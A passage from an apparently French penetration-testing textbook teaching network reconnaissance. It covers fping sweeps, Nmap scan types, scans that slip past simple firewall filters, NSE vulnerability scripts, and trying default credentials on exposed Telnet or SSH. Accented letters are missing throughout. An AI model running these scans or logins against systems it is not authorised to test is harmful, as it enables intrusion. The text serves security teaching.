Il est important de mentionner quil existe des diffrences de gravit au
niveau des vulnrabilits. Certaines peuvent reprsenter de petites
opportunits pour lassaillant, tandis que dautres lui permettront davoir
un contrle total sur une machine en cliquant simplement sur un bouton.
Nous reviendrons plus loin sur les diffrents niveaux de vulnrabilit.
Certains de mes clients mont demand dessayer dobtenir un accs
des serveurs sensibles sur un rseau interne. Dans ces cas, la cible finale
nest videmment pas accessible directement par Internet. Que nous
cherchions pntrer sur une machine interne secrte ou obtenir un
accs un rseau, nous commenons gnralement par scanner les
priphriques de primtre. La raison en est simple. Nous commenons
par ces appareils car la plupart des informations obtenues lors de la
phase 1 concernent des priphriques de primtre. Par ailleurs, avec les
technologies et les architectures actuelles, il nest pas toujours possible
datteindre directement un rseau. Cest pourquoi nous employons
souvent une mthodologie dans laquelle nous suivons une chane de
machines pour atteindre la cible finale. Nous commenons par conqurir
un priphrique de primtre, puis nous passons une machine interne.
Info
Compromettre une machine et lutiliser comme tremplin pour attaquer
une autre machine se nomme "pivoter". Cette technique est souvent
employe lorsque la machine cible est connecte un rseau mais sans
tre atteignable directement depuis notre emplacement. Les hackers et
les testeurs dintrusion auront peut-tre pivoter plusieurs reprises
avant datteindre la cible initiale.
Les priphriques de primtre sont des ordinateurs, des serveurs, des
routeurs, des pare-feu ou dautres appareils qui se situent en priphrie
dun rseau protg. Ils servent dintermdiaires entre les ressources
internes protges et les rseaux externes comme Internet.
Comme nous lavons mentionn, nous commenons gnralement par
scanner les priphriques de primtre afin de dcouvrir des faiblesses
ou des vulnrabilits qui nous permettront douvrir une porte sur le
rseau. Ds lors que cet accs est obtenu (nous y reviendrons au
Chapitre 4), la procdure de scan est rpte partir de la nouvelle
machine de faon trouver des cibles supplmentaires. Cette procdure
cyclique nous permet de crer une carte trs dtaille du rseau interne
et de dcouvrir linfrastructure critique qui se cache derrire le pare-feu
dentreprise.
Ping et balayage ping
Un ping est un type de paquet rseau particulier appel paquet ICMP. Le
principe consiste envoyer un type de trafic rseau spcial, appel
paquet de requte ICMP Echo, une interface spcifique sur un
ordinateur ou un priphrique rseau. Si lappareil (et la carte rseau
associe) qui reoit le paquet ping est allum et est configur pour
rpondre, il renvoie la machine dorigine un paquet de rponse ICMP
Echo. Cela nous permet non seulement de savoir quun hte est actif et
accepte un trafic, mais galement de connatre le temps total quil faut au
paquet pour atteindre la cible et revenir. Cet change indique galement
les pertes de paquets, et nous pouvons nous en servir pour estimer la
fiabilit dune connexion rseau. Pour mettre un paquet ping partir de
votre machine Linux, ouvrez une fentre de terminal et excutez la
commande suivante :
ping ip_cible
Vous devez remplacer ip_cible par ladresse IP ou le nom dhte de la
machine laquelle les paquets ping doivent tre envoys. La Figure 3.1
montre un exemple dutilisation de la commande ping.
Figure 3.1
Exemple dutilisation de la commande ping.
La premire ligne de la Figure 3.1 montre la commande ping elle-mme.
Toutes les versions rcentes de Linux et de Windows en disposent. La
version Windows envoie par dfaut quatre paquets de requte Echo et se
termine automatiquement, tandis que la version Linux met des requtes
en permanence jusqu ce quelle soit arrte en appuyant sur les
touches Ctrl+C.
Concentrons-nous sur la troisime ligne, qui commence par "64 bytes
from". Elle nous indique que notre paquet de requte ICMP Echo a bien
atteint la cible et que celle-ci a rpondu par un paquet ICMP Reply
notre machine. Comme indiqu, la taille du paquet de la rponse est de 64
octets. La partie "from par03s12-in-f24.1e100.net (173.194.45.56):"
prcise le nom dhte et ladresse IP qui a rpondu notre ping sur
google.fr. La partie "icmp_seq=" indique lordre du paquet, "ttl=54"
correspond une valeur de dure de vie (utilis pour dterminer le
nombre de sauts que le paquet effectuera avant dexpirer
automatiquement) et "time=29.9 ms" correspond la dure totale du
voyage des paquets vers et depuis la cible. Aprs que nous avons arrt
lexcution de la commande ping, nous obtenons des statistiques,
notamment le nombre de paquets transmis, les paquets perdus et des
informations de dure. Si la cible est teinte ou si elle bloque les paquets
ICMP, vous verrez une perte de paquets de 100 % ou un message qui
signale que lhte est inatteignable (selon le systme dexploitation). Si la
connexion rseau est de mauvaise qualit, vous pourrez constater que des
requtes arrivent expiration et que dautres obtiennent des rponses.
Cela provient gnralement de problmes rseau sur le systme
destinataire.
Maintenant que vous connaissez le fonctionnement de la commande ping,
voyons comment lexploiter en tant que hacker. Puisque les paquets ping
peuvent nous aider dterminer si un hte est actif, nous utilisons ping
comme un service de dcouverte dhtes. Cependant, lancer cette
commande pour chaque machine potentielle, mme sur un petit rseau, se
rvlera inefficace. Heureusement, il existe plusieurs outils qui
permettent deffectuer des balayages ping. Il sagit dune suite de ping
envoys automatiquement une plage dadresses IP.
La solution la plus simple pour effectuer un balayage ping est fournie par
FPing. Cet outil est dj install sur Kali et sexcute depuis le terminal (il
est disponible en tlchargement pour Windows). Voici comment
linvoquer :
fping -a -g 172.16.45.1 172.16.45.254 > htes.txt
Loption -a permet dinclure dans la sortie uniquement les htes actifs. Le
rapport final sera ainsi plus clair et plus facile consulter. Loption -g
permet de dfinir la plage des adresses IP balayer. Nous devons
indiquer ladresse IP de dbut et celle de fin. Dans cet exemple, nous
scannons toutes les adresses IP qui se trouvent entre 172.16.45.1 et
172.16.45.254. Le caractre > sert rediriger la sortie vers un fichier
que nous nommons htes.txt. Pour examiner le fichier htes.txt, ouvrez-le
avec un diteur de texte ou utilisez la commande cat, qui affiche le
contenu dun fichier dans la fentre de terminal :
cat htes.txt
De nombreuses autres options permettent de modifier le fonctionnement
de FPing. Pour les connatre, consultez la page de manuel de cet outil :
man fping
Aprs avoir excut la commande prcdente, nous examinons le fichier
htes.txt et trouvons la liste des machines cibles qui ont rpondu nos
requtes ping. Ces adresses IP doivent tre ajoutes notre liste de cibles
des fins dinvestigation supplmentaire. Il ne faut pas oublier que tous
les htes ne rpondront pas aux requtes ping, car certains seront placs
derrire des pare-feu ou bloqueront les paquets ping.
Scan des ports
Puisque nous disposons prsent dune liste de cibles, nous pouvons
poursuivre notre examen par un scan des ports sur chaque adresse IP
trouve. Rappelons que lobjectif de cette opration est didentifier les
ports ouverts et de dterminer les services actifs sur le systme cible. Un
service est une fonction particulire ralise par lordinateur, comme la
messagerie lectronique, le FTP, limpression ou lenvoi de pages web.
Le scan des ports quivaut cogner aux diffrentes portes et fentres
dune maison et voir qui rpond. Par exemple, si nous dterminons que
le port 80 est ouvert, nous pouvons tenter une connexion et obtenir des
informations prcises sur le serveur web qui coute sur ce port.
Chaque ordinateur dispose dun total de 65 536 (0 65 535) ports. Ils
peuvent rpondre aux protocoles TCP ou UDP selon les services mis en
place ou la nature des communications. Nous scannons un ordinateur afin
de connatre les ports utiliss ou ouverts. Cela nous permet davoir une
meilleure ide du rle de la machine, et donc de la manire de lattaquer.
Si vous ne deviez choisir quun seul outil pour effectuer un scan des
ports, il faudrait vous tourner vers Nmap. Dvelopp par Gordon
"Fyodor" Lyon, il est disponible gratuitement ladresse
http://www.insecure.org. Vous le trouverez aujourdhui intgr de
nombreuses distributions Linux, dont Kali. Bien quil soit possible
dexcuter Nmap partir dune interface graphique, nous allons raliser
nos scans des ports partir du terminal.
Les novices en scurit et en hacking nous demandent souvent pourquoi
ils doivent apprendre utiliser la version en ligne de commande dun outil
plutt quemployer une interface graphique. Ces mmes personnes se
plaignent souvent de la difficult de lutilisation du terminal. La rponse
est simple. Tout dabord, ce mode dutilisation permet de dcouvrir les
options qui modifient le comportement de loutil. Cela permet davoir une
plus grande souplesse, un contrle plus fin et une meilleure
comprhension de loutil. Il est galement important de comprendre que
le hacking se passe rarement comme dans les films (voir ci-aprs). Enfin,
il est facile dcrire des scripts qui sexcutent depuis la ligne de
commande et qui tendent les fonctionnalits dorigine de loutil.
Lautomatisation et les scripts sont essentiels pour faire progresser vos
connaissances.
Avez-vous vu le film Opration espadon, dans lequel Hugh Jackman cre
un virus ? Il danse, boit un verre et semble dvelopper un virus en passant
par une belle interface graphique. Cela nest tout simplement pas raliste.
Nombre de dbutants en hacking pensent quune telle activit se fonde
essentiellement sur une interface graphique : une fois que lassaillant est
entr dans une machine, il dispose dun bureau et contrle la souris et
lcran. Ce scnario est effectivement possible, mais il est rare. En
gnral, lobjectif est dobtenir un shell dadministrateur ou de crer un
accs cach lordinateur. Ce shell est un terminal qui permet de
contrler lordinateur cible partir de la ligne de commande. Il nest pas
diffrent dun autre terminal, except quun shell distant permet de saisir
des commandes depuis le terminal de lordinateur local et de les voir
sexcuter sur la machine cible. Cest pourquoi il est essentiel
dapprendre utiliser la version en ligne de commande des outils. En
effet, aprs que vous aurez obtenu le contrle sur une machine, vous
devrez y tlcharger vos outils et interagir avec elle au travers non pas
dune interface graphique mais dune invite de commande.
Supposons cependant que vous refusiez dapprendre utiliser la ligne de
commande. Supposons galement que les diffrents outils vous aient
permis dobtenir un accs sur un systme cible. Dans ce cas, vous
obtiendrez non pas une interface graphique mais une invite de
commande. Si vous ne savez pas comment copier des fichiers, ajouter des
utilisateurs, modifier des documents et raliser dautres changements
depuis la ligne de commande, tous vos efforts pour pntrer sur la cible
auront t inutiles. Vous serez bloqu, tout comme Mose a vu la terre
promise sans pouvoir la fouler !
Info
Prcdemment, nous avons prsent le concept de pivot. Il ajoute
limportance dapprendre matriser les outils depuis la ligne de
commande car les outils graphiques sont rarement compatibles avec ce
concept. Dans la plupart des cas, quand vous avez compromis un
ordinateur et devez lutiliser comme pivot, vous travaillez depuis un
terminal distant. Il est alors essentiel de savoir comment utiliser la version
en ligne de commande de chaque outil.
Lors dun scan, loutil cre un paquet et lenvoie chaque port indiqu
de la machine. Lobjectif est danalyser la rponse retourne par le port
cible. En fonction du type de scan, les rsultats peuvent tre diffrents. Il
est important de comprendre le type de scan mis en uvre, ainsi que la
sortie attendue.
Connexion en trois tapes
Sur nimporte quel rseau, lorsque deux machines souhaitent
communiquer laide du protocole TCP, elles mettent en uvre une
connexion en trois tapes (three-way handshake). La procdure est
comparable un appel tlphonique (tout au moins avant lexistence de
la prsentation du numro). Lorsque vous souhaitez appeler quelquun,
vous dcrochez votre tlphone et composez le numro. Le destinataire
dcroche son tlphone sans savoir qui est lappelant et dit : "All ?"
Lappelant se prsente en disant : "Bonjour, cest David !"
Linterlocuteur rpond souvent en accueillant lappelant par : "Oh, salut
David !" ce stade, les deux personnes disposent dinformations
suffisantes pour que la conversation puisse se poursuivre.
Les ordinateurs fonctionnent de manire comparable. Lorsque deux
machines souhaitent communiquer, elles entrent dans un processus
quivalent. Le premier ordinateur se connecte au second en envoyant un
paquet SYN un numro de port prcis. Si le second ordinateur est
lcoute, il rpond par un paquet SYN/ACK. Lorsque le premier
ordinateur reoit celui-ci, il rpond par un paquet ACK. Les deux
machines peuvent alors communiquer normalement. Pour reprendre notre
exemple tlphonique prcdent, lappelant dorigine quivaut lenvoi
du paquet SYN. Le correspondant qui dcroche son tlphone et dit
"All ?" quivaut au paquet SYN/ACK. Lappelant qui se prsente
quivaut au paquet ACK.
Scans TCP Connect avec Nmap
Notre premire action sera un scan TCP Connect. Ce type de scan est
souvent considr comme le plus simple et le plus stable car Nmap tente
deffectuer une connexion en trois tapes complte sur chaque port
indiqu. Puisque ce scan va jusquau bout de la connexion en trois tapes
et la termine ensuite proprement, il est peu probable que le systme cible
soit submerg et se plante.
Sans prciser une plage de ports, Nmap scannera les 1 000 ports les plus
utiliss. moins que vous ne soyez vraiment press, il est fortement
recommand de scanner non pas uniquement ces 1 000 ports mais tous.
En effet, il arrive souvent que les administrateurs un peu russ tentent de
masquer un service en lexcutant sur un port non standard. Pour
effectuer un scan de lintgralit des ports, vous devez ajouter loption -
p- lors de lexcution de Nmap. Loption -Pn est galement conseille car
elle dsactive la dcouverte des htes et oblige Nmap scanner chaque
systme comme sil tait actif. Cela sera trs utile pour dcouvrir des
systmes et des ports supplmentaires ct desquels nous serions sinon
passs.
Pour effectuer un scan TCP Connect, il suffit dexcuter la commande
suivante depuis un terminal :
nmap -sT -p- -Pn 192.168.56.102
Prenons un peu de temps pour tudier cette commande. Le premier mot,
nmap, dclenche lexcution du scanner de ports Nmap. La deuxime
partie, -sT, indique Nmap deffectuer un scan TCP Connect. Plus
prcisment, -s est utilis pour indiquer que nous allons prciser le type
scan effectuer, tandis que T correspond au type TCP Connect. Nous
ajoutons -p- pour demander un scan de tous les ports la place des 1 000
par dfaut. La dernire option, -Pn, vite la phase de dcouverte des
htes et scanne toutes les adresses comme si le systme tait actif et
rpondait aux requtes ping. Nous terminons par ladresse IP cible ; votre
adresse IP cible sera videmment diffrente de celle illustre sur les
captures dcran. La Figure 3.2 montre le scan TCP Connect de Nmap
sur la cible Metasploitable et la sortie obtenue.
Figure 3.2
Un scan TCP Connect et ses rsultats.
Trs souvent, le scan doit se faire sur lintgralit dun sous-rseau ou
une plage dadresses IP. Dans ce cas, il suffit de prciser Nmap la
plage des adresses en ajoutant loctet de la dernire adresse IP :
nmap -sT -p- -Pn 192.168.56.1-254
Cette commande demande Nmap deffectuer un scan des ports sur tous
les htes dont les adresses IP se situent entre 192.168.56.1 et
192.168.56.254. linstar des balayages ping, cette technique peut
normment amliorer votre productivit au cours des oprations de
scan.
Si le scan doit concerner plusieurs htes dont les adresses IP ne se suivent
pas, il suffit de crer un fichier texte et dy indiquer chaque adresse sur
sa propre ligne. Pour passer ce fichier Nmap, il faut alors ajouter
loption -iL chemin_du_fichier. Nous pouvons ainsi scanner tous les htes
cibles partir dune seule commande. Lorsque cest possible, il est
prfrable de crer un seul fichier texte qui comprend toutes les adresses
IP cibles. La plupart des outils que nous prsenterons disposent en effet
dune option ou dun mcanisme capable de lire un tel fichier texte.
Grce cette liste, le travail de saisie sera moindre et, plus important
encore, elle permet de rduire les risques de scan sur une cible non
autorise en raison dune erreur de saisie dans une adresse.
Scans SYN avec Nmap
Le scan SYN est probablement le scan de ports Nmap le plus connu. Les
raisons de sa popularit sont nombreuses, notamment le fait quil sagit du
scan Nmap par dfaut. Si nous lanons la commande Nmap sans prciser
le type de scan avec loption -s, il choisit par dfaut un scan SYN.
Outre le fait quil sagit du choix par dfaut, sa popularit vient
galement de sa rapidit suprieure au scan TCP Connect, tout en restant
relativement sr, avec peu de risques de submerger ou de planter le
systme cible. Il est plus rapide car, la place dune connexion intgrale
en trois tapes, il ralise uniquement les deux premires.
Dans un scan SYN, la machine dorigine envoie un paquet SYN la
cible, qui rpond par un paquet SYN/ACK ( condition que le port soit
utilis et non filtr), comme cela se passe dans un scan TCP Connect.
ce stade, plutt qumettre le paquet ACK classique, la machine dorigine
envoie un paquet RST (rinitialisation) la cible. Il indique celle-ci
doublier les paquets prcdents et de fermer la connexion entre les deux
ordinateurs. Lavantage de rapidit du scan SYN par rapport au scan
TCP Connect vient manifestement du nombre infrieur de paquets
changs entre les htes. Si quelques paquets peuvent sembler napporter
quun avantage relatif, noubliez pas quils vont sadditionner trs
rapidement si de nombreux htes sont scanns.
Si nous reprenons notre analogie de la connexion en trois tapes avec un
appel tlphonique, un scan SYN quivaudrait lappel dune personne,
au dcrochage du tlphone par celle-ci et sa rponse "All ?", puis au
raccrochage sans autre mot.
Dans certains cas, le scan SYN a galement lavantage dtre plus
discret et furtif ; cest pourquoi il est parfois appel Stealth Scan. La
nature discrte de ce scan vient du fait que la connexion en trois tapes
nest jamais ralise en totalit et que la connexion officielle nest donc
jamais tablie 100 %. Certains systmes de journalisation et applications
attendent lachvement de la connexion en trois tapes avant de
consigner une activit. Dans ce cas, puisquun scan SYN ne va jamais au
bout de la connexion, il peut ne pas tre dtect. Notez quil sagit dune
exception, non de la rgle. Tous les pare-feu et les systmes de dtection
dintrusion modernes dtecteront et signaleront un scan SYN !
Puisquil sagit du type de scan par dfaut de Nmap, il est inutile de
prciser son type avec loption -s. Cependant, puisque nous voulons
tablir des bases solides, il est prfrable de prendre lhabitude de
prciser le type du scan.
Pour lancer un scan SYN, excutez la commande suivante depuis une
fentre de terminal :
nmap -sS -p- -Pn 192.168.56.102
Elle est identique la prcdente, lexception de loption -sS utilise
la place de -sT, qui demande Nmap deffectuer un scan SYN plutt
quun scan TCP Connect. Il nest pas trs difficile de mmoriser ces types
de scan, car la lettre "S" correspond SYN et la lettre "T", TCP
Connect. Les autres options ont t expliques la section prcdente. La
Figure 3.3 illustre le rsultat dun scan SYN sur notre cible.
Figure 3.3
Un scan SYN et ses rsultats.
Comparez le temps dexcution total entre les deux scans illustrs aux
Figures 3.2 et 3.3. Mme dans notre environnement simple et une cible
unique, le scan SYN se rvle plus rapide.
Scans UDP avec Nmap
Les testeurs dintrusion novices font souvent lerreur dignorer UDP lors
du scan des ports. En gnral, ces aspirants hackers lancent Nmap,
effectuent un seul scan (habituellement de type SYN) et passent au scan
des vulnrabilits. Il ne faut surtout pas ngliger le scan des ports UDP !
Il faut bien comprendre que les scans TCP Connect et SYN se fondent sur
des communications TCP. TCP est lacronyme de Transmission Control
Protocol, tandis quUDP est celui de User Datagram Protocol. Les
ordinateurs peuvent communiquer entre eux en utilisant TCP ou UDP,
mais il existe des diffrences importantes entre ces deux protocoles.
TCP est un "protocole orient connexion" car il exige des communications
synchronises entre lmetteur et le rcepteur. De cette faon, les
paquets envoys depuis un ordinateur vers un autre arriveront intacts au
destinataire et dans lordre o ils ont t mis. En revanche, UDP est un
protocole "sans connexion" car lexpditeur envoie simplement des
paquets au destinataire, sans mettre en place un mcanisme qui garantit
leur arrive sur le rcepteur. Chaque protocole prsente de nombreux
avantages et inconvnients, notamment au niveau de la rapidit, de la
fiabilit et du contrle derreurs. Pour matriser le scan des ports, vous
devez comprendre parfaitement ces protocoles. Prenez le temps quil
faut pour les tudier.
Nous avons prcdemment compar la connexion en trois tapes un
appel tlphonique. Cette ngociation est une composante cl des
communications TCP qui permet lmetteur et au rcepteur de rester
synchroniss. Puisque UDP est un protocole sans connexion, ce type de
communication est plus souvent compar lenvoi dune lettre. Dans la
plupart des cas, lmetteur crit simplement une adresse sur une
enveloppe, colle un timbre et la glisse dans la bote aux lettres. un
moment donn, le facteur arrive et prend la lettre, qui entre dans le
rseau de distribution du courrier. Dans cet exemple, lexpditeur na
aucun avis de rception ni de confirmation de la distribution. Aprs que le
facteur a pris la lettre, lmetteur na aucune garantie quelle arrivera
sa destination finale.
Vous connaissez prsent la diffrence de base entre TCP et UDP.
Noubliez pas que certains services se fondent non pas sur TCP mais sur
UDP, dont, parmi les plus minents, DHCP, DNS (pour les recherches
individuelles), SNMP et TFTP. Lune des qualits les plus importantes
dun testeur dintrusion est sa minutie. Il serait plutt embarrassant que
vous passiez ct dun service uniquement parce que vous avez oubli
dexcuter un scan UDP sur la cible.
TCP se trouve au cur de la technique mise en uvre par les scans TCP
Connect et SYN. Si nous voulons dcouvrir les services qui utilisent UDP,
nous devons demander Nmap de crer des scans avec des paquets
UDP. Heureusement, Nmap facilite cette opration. Pour raliser un scan
UDP sur notre cible, nous devons simplement excuter la commande
suivante :
nmap -sU 192.168.56.102
Notez les diffrences entre cette commande et les prcdentes. Tout
dabord, nous demandons Nmap un scan UDP laide de loption -sU.
Par ailleurs, les options -p- et -Pn ont disparu. En effet, les scans UDP
sont trs lents ; mme une excution sur les 1 000 ports par dfaut peut
durer trs longtemps. La Figure 3.4 illustre un scan UDP. nouveau,
comparez la dure totale du scan par rapport celle des Figures 3.2
et 3.3.
Figure 3.4
Un scan UDP et ses rsultats.
Il est important de ne pas oublier quune communication UDP ne
dclenche pas ncessairement une rponse du rcepteur. Si la machine
cible ne confirme pas la rception dun paquet, comment Nmap peut-il
faire la diffrence entre un port ouvert et un port filtr (par le pare-
feu) ? Autrement dit, si un service est disponible et accepte les paquets
UDP, son fonctionnement normal est de prendre le paquet sans renvoyer
un message indiquant "je lai eu". De mme, un pare-feu absorbera
souvent le paquet sans renvoyer de rponse lexpditeur. Dans cet
exemple, mme si un paquet a t reu et lautre a t bloqu, il nexiste
aucun moyen de savoir si un paquet a t accept par un service ou
stopp par le pare-feu car lmetteur ne reoit aucune rponse.
Cest pourquoi Nmap a des difficults dterminer si un port UDP est
ouvert ou filtr. En consquence, lorsquil ne reoit aucune rponse un
scan UDP, il considre que le port est "ouvert | filtr". En de rares
occasions, un service UDP enverra une rponse lmetteur. Nmap est
suffisamment intelligent pour comprendre que, dans ce cas, un service
coute et rpond aux requtes. Il indiquera alors que les ports sont
"ouverts".
Nous lavons dj mentionn, les dbutants ignorent souvent les scans
UDP. Cela vient probablement du fait que la plupart des scans de ports
UDP ordinaires fournissent trs peu dinformations et marquent
quasiment chaque port comme "ouvert | filtr". Aprs avoir constat le
mme rsultat sur de nombreux htes, il est facile dtre dsappoint par
les scans UDP. Toutefois, cest oublier que les dveloppeurs de Nmap ont
prvu un moyen pour que les scans UDP fournissent des rsultats plus
prcis.
Pour obtenir une rponse plus intressante, nous ajoutons loption -sV lors
dun scan UDP. Son rle est de scanner les versions mais, dans ce cas,
elle nous aide restreindre les rsultats du scan.
Lorsque le scan de versions est activ, Nmap envoie des sondes
supplmentaires chaque port "ouvert | filtr". Elles tentent didentifier
des services en leur envoyant des paquets forgs de manire particulire.
Ces paquets permettent souvent de dclencher lenvoi dune rponse par
la cible. Certains ports indiqus "ouverts | filtrs" peuvent alors devenir
"ouverts".
Pour activer le scan de versions, il suffit dajouter la lettre "V" dans
loption -s, puisque nous avons dj loption -sU pour prciser le type de
scan, au moment de lexcution de la commande :
nmap -sUV 192.168.56.102
Scans Xmas avec Nmap
Dans le monde informatique, une RFC est un document qui fournit des
notes ou des spcifications techniques sur une technologie ou une norme.
Ces RFC peuvent apporter des quantits de dtails sur le fonctionnement
interne dun systme. Puisque ces documents dcrivent en dtail le
fonctionnement technique dun systme, les assaillants et les hackers les
consultent souvent afin de savoir si le systme ne prsenterait pas des
faiblesses ou des failles. Les scans Xmas Tree et Null exploitent
simplement une faille dcouverte ainsi.
Le nom du scan Xmas Tree (arbre de Nol) vient du fait que les
drapeaux FIN, PSH et URG sont activs ; le paquet a tellement de
drapeaux activs quil est aussi illumin quun sapin de Nol. Sachant ce
que nous savons sur les communications TCP et la connexion en trois
tapes, il doit tre vident quun paquet Xmas Tree est trs trange car
les drapeaux SYN et ACK ne sont pas positionns. Pourtant, ce paquet
inhabituel a un rle. Si le systme que nous scannons respecte la RFC qui
dcrit limplmentation de TCP, nous pouvons envoyer lun de ces
paquets bizarres pour dterminer ltat courant du port.
La RFC de TCP stipule que si un port ferm reoit un paquet dans lequel
un drapeau SYN, ACK ou RST nest pas positionn (cest--dire le type
de paquets cr par un scan Xmas Tree), alors, le port doit rpondre par
un paquet RST. Par ailleurs, elle prcise que si un port ouvert reoit un
paquet sans drapeau SYN, ACK ou RST, ce paquet doit tre ignor.
Prenez le temps de relire ces deux phrases, car leur sens permet de
comprendre la rponse obtenue par de tels scans.
Supposons que le systme dexploitation de la cible respecte la lettre la
RFC de TCP. Nmap est alors capable de dterminer ltat du port sans
aller au bout ni mme initier une connexion sur le systme cible. Vous
devez savoir que tous les systmes dexploitation disponibles aujourdhui
ne sont pas pleinement conformes la RFC. En gnral, les scans Xmas
Tree et Null fonctionnent avec les machines Unix et Linux, mais pas avec
les ordinateurs Windows. Cest pourquoi ces scans sont plutt inefficaces
sur les cibles Microsoft.
Pour mettre en place un scan Xmas Tree, il suffit de remplacer loption -
sU de lexemple prcdent par loption -sX :
nmap -sX -p- -Pn 192.168.56.102
La Figure 3.5 illustre lexcution de la commande pour un scan Xmas
Tree sur notre cible Linux.
Figure 3.5
Un scan Xmas Tree et ses rsultats.
Scans Null avec Nmap
linstar des scans Xmas Tree, les scans Null correspondent des
paquets qui ne respectent pas les communications TCP normales. Un scan
Null est par de nombreux aspects loppos exact dun scan Xmas Tree
car il se fonde sur des paquets totalement dpourvus de drapeaux ; ils sont
vides.
Les systmes cibles rpondront aux scans Null de la mme manire
quaux scans Xmas Tree. Plus prcisment, un port ouvert ne renverra
aucune rponse Nmap, tandis quun port ferm rpondra par un paquet
RST. Il est important de ne pas oublier que ces scans ne sont fiables
quavec les systmes dexploitation qui se conforment intgralement la
RFC de TCP.
Lun des principaux avantages des scans Xmas Tree et Null est que, dans
certains cas, nous sommes en mesure de contourner les filtres simples et
les listes de contrle daccs (ACL, Access Control List). Les filtres de
base oprent souvent en bloquant les paquets SYN entrants. Lide est
quen empchant lentre dun paquet SYN dans le systme la connexion
en trois tapes ne peut pas se faire. Si cette ngociation na pas lieu,
alors, aucun flux de communication TCP entre les systmes nest cr ou,
plus prcisment, aucune communication TCP ne peut provenir de
lextrieur du filtre.
Il est important de comprendre que les scans Xmas Tree et Null ne
cherchent pas tablir un canal de communication. Leur objectif est de
dterminer si un port est ouvert ou ferm.
En ayant le paragraphe prcdent en tte, rflchissez lexemple
suivant. Supposons que notre administrateur rseau Alain Trieur place
un simple pare-feu devant son systme afin dempcher toute personne
extrieure son rseau de sy connecter. Le pare-feu rejette simplement
les communications externes qui commencent par un paquet SYN. Alain
demande son copain, le hacker thique, de scanner son systme. Les
scans TCP Connect initiaux ne rvlent rien. Cependant, en tant que
testeur dintrusion expriment, ce hacker thique ne se limite pas cette
premire action et poursuit par des scans UDP, Xmas Tree et Null. Un
sourire illumine son visage lorsquil dcouvre que ses scans Xmas Tree et
Null dvoilent des ports ouverts sur le systme dAlain.
Ce scnario est possible car Nmap cre des paquets sans que le drapeau
SYN soit activ. Puisque le filtre ne rejette que les paquets entrants dont
le drapeau SYN est positionn, il laisse passer les paquets Xmas Tree et
Null. Pour raliser un scan Null, nous excutons la commande suivante :
nmap -sN -p- -Pn 192.168.56.102
Le moteur de script de Nmap
Ne vous y trompez pas, Nmap est un outil formidable. Il est mature,
robuste, bien document et bnficie dune communaut active ;
toutefois, le moteur de script de Nmap (NSE, Nmap Scripting Engine) lui
donne une autre envergure. Ce moteur de script complte Nmap en
apportant des fonctionnalits et des possibilits qui vont bien au-del des
outils classiques de scan des ports.
Pour pleinement exploiter Nmap, il est essentiel dapprendre utiliser
NSE. Lorsquil est correctement mis en uvre, NSE permet Nmap de
mener bien diverses tches, dont le scan de vulnrabilits, la
dcouverte avance de rseaux, la dtection de portes drobes et, dans
certains cas, la ralisation dun exploit. La communaut NSE est trs
active. De nouveaux scripts et possibilits sont constamment ajouts. Si
vous crez une nouvelle utilisation de NSE, nous vous encourageons
partager votre travail.
Pour que les choses restent simples, NSE rpartit les scripts en catgories,
dont auth, broadcast, brute, default, discovery, dos, exploit, external,
fuzzer, intrusive, malware, safe, version et vuln. Chaque catgorie
comprend diffrents scripts, chacun mettant en uvre une fonction
prcise. Un hacker ou un testeur dintrusion peut excuter un seul script
ou tous ceux de la catgorie. Il est important de lire la documentation de
chaque catgorie et de chaque script avant de les invoquer sur une cible.
Les informations les plus rcentes sur NSE sont disponibles ladresse
http://nmap.org/nsedoc/.
Info
NSE et ses scripts sont intgrs Nmap. Vous navez rien dautre
installer ou configurer.
Pour invoquer NSE, nous ajoutons loption --script suivie du nom du script
et de ladresse IP :
nmap --script banner 192.168.56.102
Le script banner est une extension de Nmap qui cre une connexion sur
un port TCP et affiche sur le terminal toute sortie produite par le systme
cible. Il sera particulirement utile pour identifier des services mconnus
attachs des ports inhabituels.
De mme, nous pouvons invoquer lintgralit des scripts dune catgorie
en utilisant le format --script nom_de_catgorie :
nmap --script vuln 192.168.56.102
La catgorie vuln comprend des scripts qui recherchent des problmes
connus sur le systme cible. Ils affichent des messages uniquement
lorsquune vulnrabilit est dcouverte. La fonctionnalit vuln anticipe
parfaitement notre prsentation du scan des vulnrabilits. La Figure 3.6
illustre les rsultats dun scan vuln de NSE sur notre cible Metasploitable.
Faites particulirement attention tout CVE, OSVDB ou lien indiqu.
Nous y reviendrons dans la phase dexploitation. Pour le moment, prenez
des notes et documentez correctement vos dcouvertes.
Figure 3.6
Un scan vuln de NSE et ses rsultats.
Conclusion
Les bases du scan des ports tant prsent tablies, il reste quelques
options dcrire. Elles permettent dactiver des fonctionnalits
supplmentaires qui se rvleront utiles au cours de votre carrire de
testeur dintrusion.
Nous lavons mentionn prcdemment, loption -sV dclenche un scan
de versions. Pour cette opration, Nmap envoie des sondes sur le port
ouvert dans le but dobtenir des informations prcises sur le service
lcoute. Lorsque cest possible, Nmap fournira des dtails sur ce
service, notamment ses numros de version et dautres informations de
prsentation. Toutes ces donnes doivent tre ajoutes vos notes. Nous
vous conseillons dinclure loption -sV notamment sur les ports inhabituels
ou inattendus, car un administrateur rus aura pu dplacer le serveur web
sur le port 34567 pour tenter de dissimuler ce service.
Loption -T de Nmap permet de modifier la rapidit du scan des ports.
Les temporisations vont de 0 5, avec 0 qui correspond au mode le plus
lent et 5, au plus rapide. Cette option peut se rvler extrmement utile en
fonction de la situation. Les scans lents sont plus difficiles dtecter,
tandis que les scans rapides conviendront en cas de temps limit ou dun
grand nombre dhtes cibler. Sachez toutefois que les scans les plus
rapides produisent des rsultats moins prcis.
Enfin, loption -O sera utile pour dterminer le systme dexploitation,
notamment pour savoir si la cible attaque fonctionne sous Windows,
Linux ou autre. En connaissant le systme dexploitation de la cible, nous
gagnerons du temps car nous pourrons focaliser nos attaques sur les
faiblesses connues de ce systme. Il est tout fait inutile denvisager des
exploits applicables une machine Linux si la cible utilise Windows.
Une fois que le scan des ports de la cible est termin, nous disposons
dune liste de ports ouverts et de services. Ces informations doivent tre
documentes et tudies attentivement. Pendant lanalyse des rsultats de
Nmap, vous devez essayer de vous connecter aux services daccs
distance dcouverts par le scan. Le chapitre suivant sattardera sur un
outil qui tente des connexions brutales. Pour le moment, vous pouvez les
essayer en utilisant des noms dutilisateurs et des mots de passe par
dfaut. Vous pouvez galement essayer avec les informations, les noms
dutilisateurs ou les adresses lectroniques dcouverts au cours de la
reconnaissance. Il est possible daller au bout dun test dintrusion en
dcouvrant simplement une connexion daccs distance active et
douvrir une session avec un nom dutilisateur et un mot de passe par
dfaut. Telnet et SSH sont des services daccs distance auxquels vous
